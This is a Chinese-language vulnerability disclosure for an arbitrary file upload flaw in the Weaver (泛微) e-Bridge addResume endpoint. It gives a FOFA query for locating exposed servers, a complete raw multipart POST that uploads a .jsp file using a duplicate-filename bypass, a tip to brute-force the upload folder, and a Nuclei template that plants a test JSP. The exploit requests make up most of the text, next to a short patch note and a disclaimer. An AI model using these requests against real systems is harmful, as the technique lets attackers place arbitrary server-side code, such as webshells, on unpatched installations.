0x00 漏洞描述
泛微-云桥是一款基于云计算技术的企业级协作与办公平台,提供文档管理、流程审批、项目协作等功能,旨在提升企业内部沟通效率与工作协同能力。 /wxclient/app/recruit/resume/addResume 接口存在任意文件上传漏洞
影响范围
2024.7.25日发布补丁
0x01 测绘工具
FOFA:app=“泛微-云桥e-Bridge”
0x02 漏洞复现
单次请求会删除一次以.jsp结尾的文件,所以当次请求中使用双文件上传(类似文件名双写绕过)
POST /wxclient/app/recruit/resume/addResume?fileElementId=H HTTP/1.1 Host: x.x.x.x Content-Length: 361 Cache-Control: max-age=0 sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="99" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: null Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryD5Mawpg068t7pbxZ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close
------WebKitFormBoundaryD5Mawpg068t7pbxZ
Content-Disposition: form-data; name="file"; filename="1222.jsp"
Content-Type: application/octet-stream127
------WebKitFormBoundaryD5Mawpg068t7pbxZ
Content-Disposition: form-data; name="file"; filename="1222.jsp"
Content-Type: application/octet-stream
127
------WebKitFormBoundaryD5Mawpg068t7pbxZ--
上传到/upload/202408/1-2位大写字母/1222.jsp
PS:需要爆破两位字母
0x03 Nuclei检测脚本
id: 泛微-云桥e-Bridge EC8.0 文件上传
info:
name: 泛微-云桥e-Bridge EC8.0 文件上传
author: admin
severity: high
description: /wxclient/app/recruit/resume/addResume 接口存在任意文件上传漏洞
tags: file upload
requests:
method: POST
path:- "{{BaseURL}}/wxclient/app/recruit/resume/addResume?fileElementId=H"
headers:
Cache-Control: max-age=0
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="99"
sec-ch-ua-mobile: "?0"
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: "1"
Origin: "null"
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryD5Mawpg068t7pbxZ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: "?1"
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9body: |
------WebKitFormBoundaryD5Mawpg068t7pbxZ
Content-Disposition: form-data; name="file"; filename="test.jsp"
Content-Type: application/octet-stream<% out.println("File upload successful"); %>
------WebKitFormBoundaryD5Mawpg068t7pbxZ--matchers:
type: word
words:"success"
part: body
condition: and
0x04 修复建议
官方已发布升级补丁包,支持在线升级和离线补丁安装
0x05 免责声明
本文所涉及的任何技术、信息或工具,仅供学习和参考之用。
请勿利用本文提供的信息从事任何违法活动或不当行为。任何因使用本文所提供的信息或工具而导致的损失、后果或不良影响,均由使用者个人承担责任,与本文作者无关。
作者不对任何因使用本文信息或工具而产生的损失或后果承担任何责任。使用本文所提供的信息或工具即视为同意本免责声明,并承诺遵守相关法律法规和道德规范。